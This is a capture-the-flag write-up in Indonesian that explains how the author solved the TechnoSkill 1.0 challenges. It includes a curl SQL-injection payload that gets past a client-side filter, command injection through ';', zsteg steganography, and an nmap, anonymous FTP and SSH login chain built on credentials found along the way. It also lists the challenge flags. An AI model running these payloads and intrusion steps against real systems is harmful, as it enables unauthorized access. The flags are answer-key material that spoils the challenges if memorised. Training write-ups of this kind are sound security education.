# WRITE UP TECHNOSKILL 1.0 FTUI <center>Zaidan Kamil Munadi</center> ## Daftar isi ### 🟒 EASY - [Netcyber](#Netcyber) - [KFC](#πŸ—πŸ”KFC) - [Yummy Cookie](#πŸͺYummy-Cookie) - [Scenario ??](#Scenario-??) ### 🟑 MEDIUM - [Replayer](#Replayer) - [727](#727) - [Login 2.0](#Login-2.0) - [Schizo](#Schizo) ### πŸ”΄ HARD - [Touch Grass](#Touch-Grass) - [CTF-Class of tactical Fabrication](#CTF-Class-of-Tactical-Fabrication) ## 🟒EASY ### Netcyber > POIN : 300 > URL: https://netlab-ctf-netcyber.tagj8z.easypanel.host/ Dalam tantangan ini kita diberikan landing page yang berisi info biasa dan diberikan button dengan tulisan gettouch ketika saya klik endpoint berubah menjadi `https://netlab-ctf-netcyber.tagj8z.easypanel.host/#contact` pada halaman ini kita diberikan info alamat email `notkamalfrfr@x.com` saya kira ini hanya info contact biasa tetapi saya curiga pasti ada directory yang disembunyikan karena tidak ada apa apa dalam landing page ini. dan saya coba mencari directory tersembunyi tersebut menggunakan tools dirsearch dan ditemukan endpoint `/flag` lalu saya coba tambahkan endpoint tersebut ke url tetapi didirect ke halaman login #### dengan tampilan seperti ini ![image](https://hackmd.io/_uploads/HJINYwaBeg.png) ketika melihat halaman login ini saya coba menggunakan sql injection `''OR==1'` dan pass nya sama tetapi tidak memunculkan apa apa, > dipikir pikir info contact terakhir ada x nya apakah ini seperti saya harus membuka x dan username nya notkamalfrfr disinilah kecurigaan saya muncul ketika saya buka x dan benar disana ada petunjuk password yang harus digunakan ![image](https://hackmd.io/_uploads/Hy1u9wTrlx.png) setelah saya mencoba membuka nya dan saya menemukan password: `uiauiaui_uiiiauia` dan saya coba masukan username:notkamalfrfr dan password yang ditemukan dalam halaman login tersebut ![image](https://hackmd.io/_uploads/SyTfjvargx.png) and **BOOM** flag pun didapatkan ![image](https://hackmd.io/_uploads/B1JPjw6Hll.png) ``` flag : TECHNOSKILL{Tr4l4l3LoTr4lala_tun9tun9s4hur} ``` ### πŸ—πŸ”KFC > Poin: 300 Deskripsi: The last place we talk to each other before you become another person. Format Flag 1: TECHNOSKILL{"address dari kfc"} (address dapat memiliki spasi dan merupakan alphanumeric) Format Flag 2: TECHNOSKILL{longitude, latitude} atau TECHNOSKILL{--.---, ---.---} dalam tantangan ini kita diberikan sebuah gambar toko kfc seperti ini : ![Screenshot_2025-07-09_235141 (1)](https://hackmd.io/_uploads/SJbA3vTBgl.png) >gambar tersebut diberikan agak tidak jelas karena ada wm yang menghalangi untuk bisa melihat lebih jelas gambar nya saya menggunakan `https://www.watermarkremover.io/` dan gambar menjadi seperti ini ![wmremove-transformed](https://hackmd.io/_uploads/HyPuTw6Beg.png) dan sekarang kita dapat melihat lebih jelas. Berdasarkan petunjuk pertama yaitu kfc addres atau alamat kfc dalam gambar saya menggunakan google lens untuk memeriksanya ![image](https://hackmd.io/_uploads/ByHQRPpHxx.png) diberitahu tempat kfc tersebut bernama KFC Nishi-Shinjuku berarti lokasi kfc tersebut berada dishinjuku dan disini juga pada clue pertama orang bertemu terakhir disini berarti tempat ini dijepang menjadi tempat perpisahan bagi sebagian orang dan berdasarkan format flag ketika saya cek google maps maka flag nya menjadi **FLAG UTAMA** ``` TECHNOSKILL{1 Chome-2-10 Nishishinjuku, Shinjuku City, Tokyo 160-0023, Jepang} ``` **FLAG ALTERNATIF** ``` TECHNOSKILL{35.692,139.699} ``` ### πŸͺYummy Cookie >Poin: 300 URL: https://netlab-ctf-cookie-yumy.tagj8z.easypanel.host/ ketika dibuka url nya diberikan halaman seperti ini : >![image](https://hackmd.io/_uploads/SyNy-dTreg.png) ketika saya masukan admin saya diberikan pesan alert : >![image](https://hackmd.io/_uploads/S194-dTBlg.png) lalu saya coba masukan karakter random ![image](https://hackmd.io/_uploads/rJVwWdTBxg.png) karena nama tantangannya cookie maka saya cek cookie dengan menekan `f12` atau inspect cek cookie dan saya rubah value nya menjadi `admin` dan tampilannya menjadi seperti ini ![image](https://hackmd.io/_uploads/H15MmdaHxg.png) dan diberikan pesan terenkripsi `aHR0cHM6Ly9wYXN0ZWJpbi5jb20vYWVyTXVzcWs=` terlihat seperti menggunakan enkripsi base64 >![image](https://hackmd.io/_uploads/H1pbfdarel.png) lalu saya coba decode >![image](https://hackmd.io/_uploads/BkamGd6Sxl.png) dan ketika didecode saya diberikan link https://pastebin.com/aerMusqk ketika diakses **BOOM** kita mendapatkan flagnya. ``` FLAG: TECHNOSKILL{yum_yum_c00k135_50_yummie} ``` ### Scenario ?? >Poin: 300 URL: https://netlab-ctf-bull-board.tagj8z.easypanel.host/ ketika membuka website nya saya diarahkan ke halaman login dan diminta untuk memasukan username dan saya masukan nama zaidan ![image](https://hackmd.io/_uploads/SkXm8uTrlg.png) dugaan saya,saya langsung mendapatkan flag dari chat board ini tetapi ternyata fake flag dan saya coba cek inspect pada network saya GET datanya ternyata ada file `api/posts` ![image](https://hackmd.io/_uploads/H1ggDdaSge.png) >1. Cek halaman utama β†’ tampilannya cuma kaya board dengan banyak karakter fiksi saling chat. >2. Curiga kalau ini ambil data dari API. Buka DevTools β†’ tab >3. Network β†’ cari request yang ambil data GET /api/posts. >4. Bener aja! Di situ ada JSON panjang banget berisi list semua post yang muncul di board β€” termasuk dari user admin yang ternyata nyisipin flag dalam bentuk pecahan dan akhirnya digabungkan. >5. dan kita mendapatkan flagnya ``` FLAG:TECHNOSKILL{Neverending_5t0ry} ``` ## 🟑 Medium ### Replayer >Poin: 400 URL: https://netlab-ctf-replayer-fe.tagj8z.easypanel.host/ pada tantangan ini ketika kita akses url nya diberikan halaman chatbot yang dimana jika kita mengetik sesuatu maka chatbot tersebut akan menyalin dan mengirimkan kembali ketikan kita sebelumnya seperti ini : ![image](https://hackmd.io/_uploads/SyFmgp6Hgg.png) nah karena saya pernah pengalaman mengerjakan tantangan ctf seperti ini saya coba memasukan banyak simbol seperti ini: ![image](https://hackmd.io/_uploads/rJGuxppSxg.png) ketika saya memasukan `;` chatbot mengirim blank respone maka bisa dibilang ini adalah payload command injectionnya saya coba kirimkan `;` ditambahkan dengan huruf random seperti ini: ![image](https://hackmd.io/_uploads/H14-Z66Sxg.png) dan disini kita mendapat petunjuk hanya `ls` dan `cat` yang bisa digunakan setelah memasukan _payload_ nya ketika saya coba kembali hasilnya seperti ini : ![image](https://hackmd.io/_uploads/H1BqZTpHle.png) ![image](https://hackmd.io/_uploads/H16i-aaBgl.png) ![image](https://hackmd.io/_uploads/ryD2Z6aSel.png) dan kita mendapatkan flagnya ``` FLAG : TECHNOSKILL{WOW_you_dug_deep_huh} ``` ### 727 > Poin: 400 URL: https://netlab-ctf-727.tagj8z.easypanel.host/ dalam tantangan ini kita diberikan halaman url dengan tampilan seperti ini : ![image](https://hackmd.io/_uploads/SkirilCHgx.png) pada tantangan ini diberikan 1 pesan yang berisi _**watch the sky and heed the time**_ yang mungkin menjadi suatu petunjuk yaitu saya dapat mendapatkan sesuatu ketika waktu menunjukan `7:27` agar tidak lama menunggu saya mengubah waktu pada system device saya menjadi UTC seperti ini : ![image](https://hackmd.io/_uploads/SyfnnlRBxg.png) dan tampilannya berubah menjadi seperti ini ![image](https://hackmd.io/_uploads/HJWF2gCHel.png) kita diberikan button link dalam teks `RECIVE THE REVELATION` ketika diklik kita menerima sebuah file yang bernama vision.zip. untuk mengungkap file vision.zip kita harus extract file tersebut saya menggunakan unzip vision.zip dan keluar file ini beserta isinya seperti ini: > `runes.txt` => βŸ’βŸ‚βŸŠβŸ‰αš΄βŸ† βŸƒαšΊβŸ† αš΄βŸ†αš‘βŸ†βŸ > `path.txt` => The Tablet rests in the open, among the Seer’s shared records. It lies beneath the sigil known to those who speak the true name. nah teringat tantangan netcyber saya mencoba dengan metode yang sama yaitu stalking username dan diberikan platform setelah @ yaitu github ketika saya buka ![image](https://hackmd.io/_uploads/SJS3YB0rex.png) dan ternyata isi nya adalah petunjuk untuk mendekripsikan simbol acak pada runes.txt ketika saya urutkan maka kalimatnya menjadi `PRAISE THE SEVEN` dan saya coba input flagnya dengan format TECHNOSKILL{} maka saya dapatkan flagnya : ``` FLAG : TECHNOSKILL{PRAISE THE SEVEN} ``` ### Login 2.0 >Poin: 400 URL: https://netlab-ctf-login-fe.tagj8z.easypanel.host/ Deskripsi: This time i have added some new security measures ketika kita akses url nya kita diberikan laman login dan saya input acak seperti ini: ![image](https://hackmd.io/_uploads/BkoXiB0Seg.png) ketika di sign muncul alert invalid credentials saya cek kesalahannya diconsole dan ternyata ada yang simbol yang disanitasi ![image](https://hackmd.io/_uploads/S1aqirArxe.png) lalu saya coba buka file yang diarahkan pada console dan benar berisi sanitasi object simbol ```javascript const R = /('|--|;|\/\*|\*\/|xp_|exec|union|select|insert|update|delete|drop|alter|create|truncate|replace|grant|revoke|cast|convert|char|nchar|varchar|nvarchar|declare|set|sleep|benchmark|information_schema|or\s+\d+=\d+)/gi , P = D.replace(R, "") , k = K.replace(R, ""); console.log("Sanitized Email:", P), console.log("Sanitized Password:", k); try { const ml = { email: P, password: k }; if (console.log("Sending request with body:", ml), !(await fetch("https://netlab-ctf-login.tagj8z.easypanel.host/login", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify(ml) })).ok) throw new Error("Invalid credentials"); alert("Login successful!") } catch (ml) { Tl(ml.message) } finally { V(!1) } } ``` maka saya coba menggunakan curl pada cmd untuk modifikasi agar sesuai pada database JSON seperti ini: ```bash curl -X POST "https://netlab-ctf-login.tagj8z.easypanel.host/login" -H "Content-Type: application/json" -d "{\"email\":\"admin@admin.com\",\"password\":\"'Β ORΒ '1'='1\"}" ``` dan muncul lah respone seperi ini : ![image](https://hackmd.io/_uploads/H1e03BRBex.png) dan kita mendapatkan flagnya ``` flag:TECHNOSKILL{put_s@n1t1z3r_0n_th3_b4ckend_4s_w3ll} ``` ### Schizo >Poin: 400 URL: https://netlab-ctf-wordpress.tagj8z.easypanel.host/ Deskripsi: a page i could no longger find diberikan landing page seperti ini :![image](https://hackmd.io/_uploads/SkVvCHCBxe.png) dan saya coba klik klik jejak button pada halaman ini lalu masuk ke halaman ini : ![image](https://hackmd.io/_uploads/Hy8qRrABgg.png) pada halaman ini ada strings acak dan bisa diklik dan ketika saya klik : ![image](https://hackmd.io/_uploads/SyS2CSCSxe.png) AND **BOOM** kita mendapatkan flagnya ``` flag:TECHNOSKILL{w0rdpr3ss_24102003} ``` ## πŸ”΄ HARD ### Touch Grass > POINT : 500 > Description : time to touch some grass find the message in the grass kita diberikan sebuah file field.png seperti ini:![image](https://hackmd.io/_uploads/rJAKiFCHle.png) setelah kita lihat gambar dan metadata nya tidak ada yang mencurigakan dan saya coba memeriksanya menggunakan zsteg untuk melihat pesan tersembunyi didalam gambar dengan perintah `zsteg field.png` maka muncul lah informasi seperti ini : ```bash imagedata .. file: MIPSEL-BE ECOFF executable not stripped - version 1.-1 b1,r,lsb,xy .. text: "ruaarqaarq" b1,b,lsb,xy .. text: "X\\DEX\\DEX\\" b1,rgb,lsb,xy .. text: "here is your grass now find the message\nVW VVWV VWVV VW WWV VVVV VV WVV WVV V WV VV WV W VVVV V VVWV VV V VWVV WVV WW VVW VVV W WV WWW W WVVV V WW WWW VWW V WVV" b2,r,msb,xy .. text: "}UUUUUUUUU" b2,g,msb,xy .. text: "UWwWWWwW" b2,b,msb,xy .. text: "_]UUUUUUUUU" b2,rgba,lsb,xy .. text: "7#3w'gs7'##sw'gw" b3,rgba,lsb,xy .. text: "?gtwCt?cvwG" b4,r,lsb,xy .. text: "\"##2\"\"\"2#2\"2\"3#2\"##2" b4,r,msb,xy .. text: "nffffffffffffffffff" b4,g,msb,xy .. file: MPEG ADTS, layer I, v2, 112 kbps, Monaural b4,b,msb,xy .. text: ["w" repeated 19 times] ``` Dan muncul lah pesan tersembunyi yang sesuai petunjuk dalam deskripsi di b1,rgb,lsb,xy: >"here is your grass now find the message\nVW VVWV VWVV VW WWV VVVV VV WVV WVV V WV VV WV W VVVV V VVWV VV V VWVV WVV WW VVW VVV W WV WWW W WVVV V WW WWW VWW V WVV" **🌱 Tahap 2: Rumput Berbicara Dalam Sandi Pramuka** Ternyata pola V dan W mengarah ke sandi Morse ala pramuka: V = . (titik) W = - (strip) Saya konversi: ```python # Kamus Morse sederhana morse_dict = { ".-": "A", "-...": "B", "-.-.": "C", "-..": "D", ".": "E", "..-.": "F", "--.": "G", "....": "H", "..": "I", ".---": "J", "-.-": "K", ".-..": "L", "--": "M", "-.": "N", "---": "O", ".--.": "P", "--.-": "Q", ".-.": "R", "...": "S", "-": "T", "..-": "U", "...-": "V", ".--": "W", "-..-": "X", "-.--": "Y", "--..": "Z" } # Sandi dari CTF sandi = "VW VVWV VWVV VW WWV VVVV VV WVV WVV V WV VV WV W VVVV V VVWV VV V VWVV WVV WW VVW VVV W WV WWW W WVVV V WW WWW VWW V WVV" # Ubah V = titik, W = strip morse = sandi.replace("V", ".").replace("W", "-") morse_letters = morse.split() # Decode manual decoded = ''.join([morse_dict.get(code, '?') for code in morse_letters]) print(decoded) ``` Hasil Morse setelah di-decode: ```bash AFLAGHIDDENINTHEFIELDMUSTNOTBEMOWED ``` dan kita menemukan flagnya : ``` FLAG:TECHNOSKILL{AFLAGHIDDENINTHEFIELDMUSTNOTBEMOWED} ``` ### CTF Class of Tactical Fabrication >POIN : 500 >DESCRIPTION : There's always an entry for those who know 8.215.63,72 dalam tantangan ini awalnya saya bingung ini harus diapain apakah sebuah ip atau bukan dan saya coba mengubah simbol , menjadi . dan benar saja ini adalah ip address dan saya coba akses melalui browser dan tidak bisa dibuka, karena tidak bisa dibuka saya mencoba ping apakah ada koneksi terhadap ip addres tersebut dengan perintah ```kali ping 8.215.63.72 PING 8.215.63.72 (8.215.63.72) 56(84) bytes of data. 64 bytes from 8.215.63.72: icmp_seq=1 ttl=51 time=2845 ms 64 bytes from 8.215.63.72: icmp_seq=2 ttl=51 time=3952 ms 64 bytes from 8.215.63.72: icmp_seq=3 ttl=51 time=3010 ms 64 bytes from 8.215.63.72: icmp_seq=4 ttl=51 time=2945 ms 64 bytes from 8.215.63.72: icmp_seq=4 ttl=51 time=2979 ms (DUP!) 64 bytes from 8.215.63.72: icmp_seq=5 ttl=51 time=2910 ms 64 bytes from 8.215.63.72: icmp_seq=6 ttl=51 time=2365 ms 64 bytes from 8.215.63.72: icmp_seq=6 ttl=51 time=2372 ms (DUP!) 64 bytes from 8.215.63.72: icmp_seq=6 ttl=51 time=2372 ms (DUP!) 64 bytes from 8.215.63.72: icmp_seq=6 ttl=51 time=2372 ms (DUP!) 64 bytes from 8.215.63.72: icmp_seq=6 ttl=51 time=2372 ms (DUP!) 64 bytes from 8.215.63.72: icmp_seq=6 ttl=51 time=2372 ms (DUP!) 64 bytes from 8.215.63.72: icmp_seq=6 ttl=51 time=2375 ms (DUP!) 64 bytes from 8.215.63.72: icmp_seq=7 ttl=51 time=2486 ms 64 bytes from 8.215.63.72: icmp_seq=8 ttl=51 time=2130 ms 64 bytes from 8.215.63.72: icmp_seq=9 ttl=51 time=1953 ms 64 bytes from 8.215.63.72: icmp_seq=10 ttl=51 time=2390 ms ``` dan hasilnya ip address tersebut memiliki koneksi yang berarti tersedia dan bisa diakses dan saya coba network mapping memastikan port apa saja yang terbuka dengan perintah ```kali nmap -sC -sV -Pn 8.215.63.72 Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-15 18:07 WIB Nmap scan report for 8.215.63.72 Host is up (0.016s latency). Not shown: 967 filtered tcp ports (no-response), 30 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.5 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 5e:3d:ec:61:ed:90:aa:8d:1e:1e:08:54:77:81:b5:b4 (ECDSA) |_ 256 de:0d:ba:ea:c2:b2:dc:8d:4c:88:0c:ff:18:aa:c4:71 (ED25519) 80/tcp open http? Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 68.38 seconds ``` dan ternyata yang terbuka adalah port 21 pada service ftp dan port 22 pada service ssh dan kita coba ```kali ftp 8.215.63.72 Connected to 8.215.63.72. 220 (vsFTPd 3.0.5) 200 Always in UTF8 mode. User (8.215.63.72:(none)): anonymous 230 Login successful. ftp> ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. creds.txt 226 Directory send OK. ftp: 14 bytes received in 0.00Seconds 14000.00Kbytes/sec. ftp> get creds.txt 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for creds.txt (119 bytes). 226 Transfer complete. ftp: 119 bytes received in 0.00Seconds 119000.00Kbytes/sec. ftp> ftp> ^D^Dftp> ftp> ftp> bye ``` disini ketika kita ls terdapat file creds.txt yang dimana file ini menyimpan credential untuk login menggunakan service ssh dan isi kredensial nya yaitu username student dengan password nmixx00, setelah mendapat credential nya kita coba ssh dengan perintah ```kali ssh student@8.215.63.72 ``` ![image](https://hackmd.io/_uploads/B1h1sh7Iel.png) dan kita berhasil masuk ke server ssh ini. lalu kita cek ternyata terdapat file leader.png pada directory student yang menyimpan secret access saya menemukan 4 file leader.png pada 4 directory berbeda yaitu _/home,/CaptureTheFlag-Club,/PenSociety-Club,/VeritasForum-Club_. dan saya menemukan secret access pada file leader.png di directory CaptureTheFlag-Club menggunakan zsteg ```kali zsteg leader_ctf.png b1,r,lsb,xy .. text: "1@5w3JBf" b1,rgb,lsb,xy .. text: "!SECRET ACCESS=cftp:9120758hafhfa" b2,r,msb,xy .. text: "AP@EDPD@" b2,b,msb,xy .. file: PGP Secret Sub-key - b3,r,lsb,xy .. file: OpenPGP Public Key b3,g,lsb,xy .. file: OpenPGP Public Key b3,b,lsb,xy .. text: "#[6$5*!Iv" b4,r,lsb,xy .. text: "$DDfdDdDFffh" b4,r,msb,xy .. text: "$\"\"f&\"&\"bff" b4,g,msb,xy .. text: "1w[Y7a.J$jY" b4,b,lsb,xy .. text: "%E\"\"UEB#232\"" b4,b,msb,xy .. text: "D$DDDDDD" b4,rgb,lsb,xy .. text: "HEeGEBu'#B7Bu9c" b4,rgb,msb,xy .. text: "b$AR$E6dEV$A" b4,bgr,lsb,xy .. text: "HEeGBE%s'2BG5si9" b4,bgr,msb,xy .. text: "Bpw6Wws7p" b4,rgba,lsb,xy .. text: "_m/j/y/z/" b4,abgr,msb,xy .. text: "\"O&O!O%O%OcOeOeO!O!" ``` dan kita mendapatkan secret access `cftp:9120758hafhfa` ternyata ada user lain bernama cftp ketika saya cek dengan eksplorasi directory ditemukan user cftp seperti ini![image](https://hackmd.io/_uploads/B1glgTmUgg.png) dan saya coba su cftp menggunakan informasi password pada leader.png dari directory CaptureTheFlag-Club ![image](https://hackmd.io/_uploads/ryQmxpXLxe.png) ternyata dalam user ini tidak ada file ataupun directory dan saya coba eksplorasi path dan ada ketika cek 1 1 saya menemukan path atau directory mencurigakan dalam directory var didalam nya ada directory bernama cftp ![image](https://hackmd.io/_uploads/rJbdbpXLeg.png) ketika saya buka benar disana ada file bernama flag.txt ![image](https://hackmd.io/_uploads/SyY9-TXUxx.png) dan saya coba memunculkan isi file tersebut dengan perintah ```kali cat flag.txt ``` and **BOOM** kita mendapatkan flagnya ```bash TECHNOSKILL{FTP_ST3G0_CH34T} ```